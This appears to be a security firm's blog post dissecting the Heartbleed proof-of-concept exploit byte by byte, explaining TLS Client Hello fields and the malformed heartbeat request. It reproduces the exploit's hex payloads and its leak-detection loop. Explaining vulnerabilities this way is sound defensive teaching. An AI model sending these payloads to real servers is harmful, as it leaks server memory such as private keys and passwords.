Understanding the Heartbleed Proof of Concept

Unless you've been on a desert island all week, you've probably heard about a major vulnerability in OpenSSL called Heartbleed (or more prosaically CVE-2014-0160). The issue has received huge amount of coverage in the news, and for once was actually a serious enough issue to justify all the hype. We've spent a lot of time this week helping our clients identify systems that are vulnerable and explaining what the implications are. At a high level this XKCD cartoon explains things quite well, but we'll go into a bit more depth in this post.

If you've been looking at the issue, then you've probably seen the various proof-of-concept exploits such as this one by Jared Stafford. One thing these demos have in common is that they have a big chunk of hex data that they send to the server being tested, looking something like this:

hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01
''')

What I'm going to do in this blog is break this apart to that you see what's actually going on in this chunk of data in order to explain how the proof of concept actually works.

The Client Hello

The first message in an SSL connection is sent by the client and is called the Client Hello. It allows the client to provide information such as the ciphers it supports, the version of SSL/TLS any extensions it supports etc.

The first part of the data indicates that the message is an SSL handshake message and defines the protocol version and the length:

16          Handshake
03 02       TLS version 1.1
00 dc       Length

Next, specifies what type of handshake message it is - in this case the Client Hello), another length field, and then the version of the handshake.

01          handshake type (Client hello)
00 00 d8    Length
03 02       TLS Version 1.1

Next comes some 'random' data. In fact, the first 4 bytes of the data are a UNIX timestamp, the other 26 bytes however really are random.

53 43 5b 90 Timestamp

9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de   Random bytes

The next field is the session identifier. In the case of the PoC code the length is set to 0 indicating we're not resuming an existing session. This field is normally used to speed up connections to servers that a browser has visited recently by allowing an abbreviated SSL handshake to be performed.

00          Length of session id

Next comes the list of ciphers our client supports. First we have the length of the list, followed by the ciphersuites themselves. Each ciphersuite is identified by a 2 byte number (for example the first cipher here is 0xc014 which corresponds to TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA).

00 66       Length of cipher suites

c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff     Cipher suites

After this we defined any compression methods supported by the client, these days this is generally disabled to avoid attacks such as CRIME. This is indicated by the client only supporting the NULL compression method.

01          Length of compression methods
00          Compression method NULL (ie no compression)

TLS allows the protocol to be extended in order to add new features. As with most of the other fields, this starts off by specifying the length.

00 49       Length of TLS extensions

There are four extensions in the PoC. The first two are used to define the details needed for eliptic curve ciphers.

00 0b 00 04
03 00 01 02 Eliptic curve point formats extension

00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11
            Elliptic curve

The next indicates support for the TLS session ticket extension.

00 23 00 00 TLS session ticket

And finally, we indicate we support the TLS heartbeat extension which is of course the whole purpose here.

00 0f 00 01 01 Heartbeat extension

As you can see there's a lot of information in the Client Hello. We could in theory strip some of this data out and still have a working proof of concept. I suspect this data was collected from a packet capture as it's the easiest way to ensure that you've made a valid TLS message. If you want more details on the hello message then it's defined in RFC 5246.

After the Client Hello is sent, the code reads the TLS records sent by the server. It ignores them all until the Server Hello Done message is received. This message is identified by having the content type at the TLS record layer set to 22 (Handshake), with the first byte of data being 14 (0xe) which is the identifier for the Server Hello Done record. Once we've reached this point, we've established the SSL connection and it's time to send our attack.

The Heartbeat Call

The heartbeat request is another chunk of hex, but fortunately much smaller than the Client Hello was:

hb = h2bin('''
18 03 02 00 03
01 40 00
''')

Again, lets break this down and see how it works. First we indicate that the TLS record is a heartbeat, and specify the version of TLS.

18     TLS record is a heartbeat
03 02  TLS version 1.1

Next we specify the length of the heartbeat message, and that this message is a heartbeat request:

00 03    Length
01       Heartbeat request

Finally, we actually perform the attack. We specify that the payload length is 16384 bytes, but crucially we don't actually send any more data at all. This is the core of the attack.

40 00    Payload length (16384 bytes)

After this it's just a matter of looking at each record that the server sends back to us. We're looking for messages of type 24 (Heartbeats). If we get a response that's longer than the 3 bytes of data we actually sent (as opposed to the 16384 bytes we claimed we sent) then the server is vulnerable and the extra data sent back is part of the contents of the memory of the server.

    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
           
            print 'No heartbeat response received, server likely not vulnerable'
            return False

        if typ == 24:
            print 'Received heartbeat response:'
            hexdump(pay)
            if len(pay) > 3:
               
                print 'WARNING: server returned more data than it should - server is vulnerable!'
            else:
                print 'Server processed malformed heartbeat, but did not return any extra data.'
            return True

        if typ == 21:
            print 'Received alert:'
            hexdump(pay)
            print 'Server returned error, likely not vulnerable'
            return False

Hopefully this explanation shows you how the proof of concept operates. There have been a lot of copies floating around that have been tweaking the original code but I think it's important that people should understand the code rather than make changes to it blindly. If you want to experiment with this issue then taking a look at the TLS RFCs is a good place to start.

< Previous Article
XML External Entities, Attack and Defence
Next Article >
Westpoint at BSides Manchester 2015

OTHER STORIES

XML External Entities, Attack and Defence

XML is used widely in many different areas of computing. It's been wildly successful especially compared to its more complex sibling SGML. Most people think of XML as just a bunch of tags and some text, which is normally a perfectly reasonable way to regard it. Unfortunately when you're working with XML data that originates from an untrusted source there are some gotchas waiting to bite you.

Read more

What Does Equality Mean?

Comparing two URLs for equality doesn't sound like a complicated problem, but there is actually more to it than you would expect. This post shows how this simple task can lead to some surprising behaviour.

Read more
Designed & Built by e3creative